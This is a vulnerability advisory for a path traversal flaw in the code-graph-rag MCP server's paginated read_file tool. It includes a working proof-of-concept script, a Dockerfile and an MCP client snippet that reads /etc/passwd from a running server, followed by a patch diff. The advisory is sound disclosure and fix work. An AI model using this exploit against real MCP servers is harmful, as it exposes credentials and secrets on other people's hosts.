CVE-2026-77604: Code Graph RAG: MCP paginated read_file path traversal / arbitrary file read
### Summary The `read_file` MCP tool in `codebase_rag/mcp/tools.py` contains a path traversal vulnerability in its paginated branch (when `offset` or `limit` is supplied). The handler constructs a file path using `Path(self.project_root) / file_path` without subsequently validating that the resolved path remains within the configured project root. Python's `pathlib` silently discards the left-hand component when the right-hand argument is an absolute path, allowing an attacker to read any UTF-8-readable file on the server by passing an absolute path such as `/etc/passwd`. ### Details **Vulnerable location:** `codebase_rag/mcp/tools.py:556–565` (`MCPToolsRegistry.read_file`) The `read_file` MCP tool accepts three parameters: `file_path`, `offset`, and `limit`. When either `offset` or `limit` is present the handler takes a distinct code path: ```python # codebase_rag/mcp/tools.py:556-565 async def read_file( self, file_path: str, offset: int | None = None, limit: int | None = None ) -> str: logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit)) try: if offset is not None or limit is not None: full_path = Path(self.project_root) / file_path # ← VULNERABLE LINE start = offset if offset is not None else 0 with open(full_path, encoding=cs.ENCODING_UTF8) as f: # ← SINK ``` Because `pathlib.Path.__truediv__` replaces the left operand entirely when the right operand is an absolute path, any caller-supplied absolute path (e.g., `/etc/passwd`, `/proc/self/environ`) causes `full_path` to point outside the project root. The **non-paginated** branch is protected by the `@validate_project_path` decorator (applied via `codebase_rag/tools/file_reader.py:27`) which performs `.resolve().relative_to(project_root)` (`codebase_rag/decorators.py:73–75`), but this decorator is never invoked in the paginated branch, leaving it completely unguarded. **Full data-flow (source → sink):** 1. `codebase_rag/config.py:302` — HTTP MCP default host is `0.0.0.0`. 2. `codebase_rag/cli.py:717` — CLI exposes `mcp-server`. 3. `codebase_rag/cli.py:726–731` — `--transport http` invokes `serve_http(host=resolved_host, port=resolved_port)`. 4. `codebase_rag/mcp/server.py:208–210` — Starlette mounts the MCP HTTP endpoint. 5. `codebase_rag/mcp/tools.py:227–249` — `read_file` is registered as an MCP tool accepting attacker-controlled `file_path`, `offset`, and `limit`. 6. `codebase_rag/mcp/server.py:113–127` — `call_tool` dispatches JSON arguments directly to the handler via `await handler(**arguments)`. 7. `codebase_rag/mcp/tools.py:561–565` — paginated branch builds `full_path` and calls `open(full_path)` without any boundary check. The vulnerability is also present when using the `stdio` transport because the vulnerable code path does not depend on transport type; however, the attack is unauthenticated and network-accessible only when HTTP transport is configured. ### PoC **Prerequisites:** - Docker installed. - Repository cloned with the `vuln-001/` artifacts present (Dockerfile, poc.py). **Build and run:** ```bash # From the repository root (parent of vuln-001/) docker build -t vuln001-poc -f vuln-001/Dockerfile . docker run --rm vuln001-poc ``` The Dockerfile installs the `codebase_rag` package from the local repository source, creates a "safe" project root at `/tmp/safe-project-root`, and runs `poc.py`. **What the PoC does (`poc.py`):** 1. Pre-mocks the `mgclient` / `pymgclient` native C extensions (Memgraph client) so the package imports without a live database. 2. Instantiates `MCPToolsRegistry` via `object.__new__()`, setting only `self.project_root = "/tmp/safe-project-root"` — matching what the real server does. 3. Demonstrates the pathlib bypass: `Path("/tmp/safe-project-root") / "/etc/hosts"` resolves to `Path("/etc/hosts")`. 4. Calls `registry.read_file("/etc/hosts", offset=0, limit=5)` — the actual vulnerable method from the installed package. 5. Asserts that real `/etc/hosts` content is returned, confirming full boundary bypass. **Expected output:** ``` [MCP] read_file: /etc/hosts (offset=0, limit=5) [+] CONFIRMED: pathlib discards project_root when file_path is absolute [+] read_file() returned: # Lines 1-5 of 7 127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback fe00:: ip6-localnet ff00:: ip6-mcastprefix ff02::1 ip6-allnodes [+] EXPLOIT SUCCESSFUL [+] Content of '/etc/hosts' exfiltrated via path traversal [+] Project root boundary '/tmp/safe-project-root' was completely bypassed [+] VULNERABILITY CONFIRMED: VULN-001 CWE-22 Path Traversal ``` **Equivalent HTTP transport attack (when server is running):** ```bash python3 - <<'PY' import anyio from mcp import ClientSession from mcp.client.streamable_http import streamablehttp_client async def main(): async with streamablehttp_client("http://127.0.0.1:8080/mcp") as (read, write, _): async with ClientSession(read, write) as session: await session.initialize() result = await session.call_tool( "read_file", {"file_path": "/etc/passwd", "offset": 0, "limit": 10}, ) print(result.content[0].text) anyio.run(main) PY ``` **Remediation:** ```diff --- a/codebase_rag/mcp/tools.py +++ b/codebase_rag/mcp/tools.py @@ async def read_file( self, file_path: str, offset: int | None = None, limit: int | None = None ) -> str: logger.info(lg.MCP_READ_FILE.format(path=file_path, offset=offset, limit=limit)) try: if offset is not None or limit is not None: - full_path = Path(self.project_root) / file_path + project_root = Path(self.project_root).resolve() + try: + full_path = (project_root / file_path).resolve() + full_path.relative_to(project_root) + except (ValueError, RuntimeError): + return te.ERROR_WRAPPER.format( + message=lg.FILE_OUTSIDE_ROOT.format(action="access") + ) start = offset if offset is not None else 0 with open(full_path, encoding=cs.ENCODING_UTF8) as f: ``` ### Impact This is a **path traversal / arbitrary file read** vulnerability. Any network-accessible instance of the MCP HTTP server is impacted; no authentication is required in the default configuration. An unauthenticated remote attacker can read any file on the server filesystem that is readable by the process running `cgr mcp-server`. Exploitable targets include: - `/etc/passwd`, `/etc/shadow` — credential disclosure. - Application secrets, API keys, `.env` files, or private keys stored anywhere on the host. - Source code or configuration outside the intended project repository. - Cloud instance metadata endpoints reachable via the local file path (e.g., `/proc/self/environ` for environment variable leakage). The vulnerability is particularly severe because the HTTP transport binds to `0.0.0.0:8080` by default (`codebase_rag/config.py:302`), exposing the server to the network without any authentication requirement in the default configuration. ### Reproduction artifacts #### `Dockerfile` ```dockerfile FROM python:3.12-slim # Install build tools needed for some dependencies RUN apt-get update && apt-get install -y --no-install-recommends \ gcc build-essential \ && rm -rf /var/lib/apt/lists/* WORKDIR /app # Copy the vulnerable repository source COPY repo/ /app/repo/ # Install pure-Python dependencies (pymgclient is a native Memgraph client that # requires a live Memgraph instance; we mock it in the PoC script instead) RUN pip install --upgrade pip --quiet && \ pip install --quiet \ loguru \ "mcp>=1.25.0" \ "pydantic-ai>=1.102.0" \ "pydantic-settings>=2.12.0" \ "python-dotenv>=1.2.1" \ "tiktoken>=0.12.0" \ "toml>=0.10.2" \ "tree-sitter==0.25.2" \ "tree-sitter-python>=0.25.0" \ "watchdog>=6.0.0" \ "typer>=0.21.1" \ "rich>=14.2.0" \ "prompt-toolkit>=3.0.52" \ "diff-match-patch>=20241021" \ "click>=8.3.1" \ "protobuf>=6.33.5" \ "defusedxml>=0.7.1" \ "huggingface-hub>=1.7.2" \ "pathspec>=1.0.4" \ "griffe>=1.0,<2" \ httpx \ anyio # Install the codebase_rag package from the cloned repo. # --no-deps skips pymgclient and tree-sitter grammar forks that are uv-specific; # all other runtime deps were already installed above. RUN pip install --no-deps --quiet -e /app/repo/ # Create the "safe" project root that the victim server would normally restrict to RUN mkdir -p /tmp/safe-project-root && \ echo "# This is a safe project file" > /tmp/safe-project-root/README.md COPY vuln-001/poc.py /app/poc.py CMD ["python3", "/app/poc.py"] ``` #### `poc.py` ```python #!/usr/bin/env python3 """ PoC for VULN-001: MCP paginated read_file path traversal / arbitrary file read ============================================================================= Repository : vitali87/code-graph-rag Version : <= 0.0.343 (unpatched at HEAD commit f5d6bfd) Vulnerable code location: codebase_rag/mcp/tools.py lines 561-565 (MCPToolsRegistry.read_file) Root cause: When 'offset' or 'limit' is provided, the method builds the path as: full_path = Path(self.project_root) / file_path # line 562 Python's pathlib discards 'project_root' when 'file_path' is an absolute path. The non-paginated branch is protected by @validate_project_path, but this branch has no such guard, so any absolute path is opened unconditionally. Attack path (HTTP transport): MCP client -> POST /mcp -> call_tool("read_file", {"file_path": "/etc/hosts", "offset": 0, "limit": 5}) -> MCPToolsRegistry.read_file("/etc/hosts", offset=0, limit=5) -> full_path = Path("/safe/root") / "/etc/hosts" ==> Path("/etc/hosts") -> open("/etc/hosts") # no boundary check, file content returned This PoC exercises the actual MCPToolsRegistry.read_file() method from the installed package. The Memgraph client (mgclient) is pre-mocked in sys.modules because it is a native C extension that requires a live database; it is NOT used by the vulnerable code path. The MCPToolsRegistry instance is created via object.__new__() to skip the __init__ that would connect to Memgraph -- the paginated read_file branch only reads self.project_root, nothing else. """ import asyncio import sys from pathlib import Path from unittest.mock import MagicMock # --------------------------------------------------------------------------- # Step 1: Pre-mock native dependencies that are irrelevant to the vuln path # --------------------------------------------------------------------------- # mgclient is a C extension (Memgraph client). It is imported at the top of # codebase_rag/services/graph_service.py. Inserting a MagicMock lets the # module import succeed without a native library or a live Memgraph server. sys.modules["mgclient"] = MagicMock() sys.modules["pymgclient"] = MagicMock() # --------------------------------------------------------------------------- # Step 2: Import the vulnerable class from the installed package # --------------------------------------------------------------------------- print("[*] Importing MCPToolsRegistry from installed codebase_rag package ...") try: from codebase_rag.mcp.tools import MCPToolsRegistry except Exception as exc: print(f"[!] Import failed: {exc}") sys.exit(2) print("[+] Import successful\n") # --------------------------------------------------------------------------- # Step 3: Build a minimal MCPToolsRegistry instance (bypassing __init__) # --------------------------------------------------------------------------- # __init__ connects to Memgraph and Qdrant -- neither is available here. # The paginated read_file branch uses ONLY self.project_root, so setting # just that attribute is sufficient to reproduce the vulnerability. SAFE_ROOT = "/tmp/safe-project-root" registry = object.__new__(MCPToolsRegistry) registry.project_root = SAFE_ROOT print(f"[*] MCPToolsRegistry instance created via object.__new__()") print(f"[*] project_root = {SAFE_ROOT!r}") print() # --------------------------------------------------------------------------- # Step 4: Demonstrate the pathlib absolute-path bypass # --------------------------------------------------------------------------- ATTACK_PATH = "/etc/hosts" joined = Path(SAFE_ROOT) / ATTACK_PATH print("[*] Pathlib join behaviour (the root cause):") print(f" Path({SAFE_ROOT!r}) / {ATTACK_PATH!r}") print(f" => {joined}") print(f" Expected (safe) path: {SAFE_ROOT + ATTACK_PATH}") assert str(joined) == ATTACK_PATH, ( f"Unexpected pathlib behaviour: expected {ATTACK_PATH!r}, got {joined!r}" ) print("[+] CONFIRMED: pathlib discards project_root when file_path is absolute\n") # --------------------------------------------------------------------------- # Step 5: Call the actual vulnerable method # --------------------------------------------------------------------------- print(f"[*] Calling registry.read_file({ATTACK_PATH!r}, offset=0, limit=5)") print(f"[*] Executing vulnerable line: full_path = Path(self.project_root) / file_path") print(f"[*] Resulting full_path = {joined}") print() async def run_poc() -> str: return await registry.read_file(ATTACK_PATH, offset=0, limit=5) result = asyncio.run(run_poc()) print("[+] read_file() returned:") print("-" * 60) print(result) print("-" * 60) print() # --------------------------------------------------------------------------- # Step 6: Validate the output contains real /etc/hosts content # --------------------------------------------------------------------------- with open(ATTACK_PATH) as fh: actual_hosts = fh.read() # Accept any of: pagination header, loopback address, or raw /etc/hosts lines confirmed = ( "Lines " in result # pagination header present or "127.0.0.1" in result # standard loopback entry or "localhost" in result # standard hostname entry or "::1" in result # IPv6 loopback or any( line.strip() in result for line in actual_hosts.splitlines() if line.strip() and not line.startswith("#") ) ) if confirmed: print("[+] EXPLOIT SUCCESSFUL") print(f"[+] Content of '{ATTACK_PATH}' exfiltrated via path traversal") print(f"[+] Project root boundary '{SAFE_ROOT}' was completely bypassed") print() print("[+] VULNERABILITY CONFIRMED: VULN-001 CWE-22 Path Traversal") sys.exit(0) else: print("[-] Validation failed -- could not find /etc/hosts content in result") print(f"[-] Returned value: {result!r}") sys.exit(1) ```
Recommended action
Recommended action
Upgrade affected packages to a patched version: code-graph-rag 0.0.345.
Technical details
- Vendor
- Not specified
- Product
- code-graph-rag
- Exploitation
- none known
- Evidence
- official
Evidence and sources
This record is attributed to GitHub Advisories. Exploitation status and remediation guidance are kept separate from the vulnerability's technical severity.
Open primary source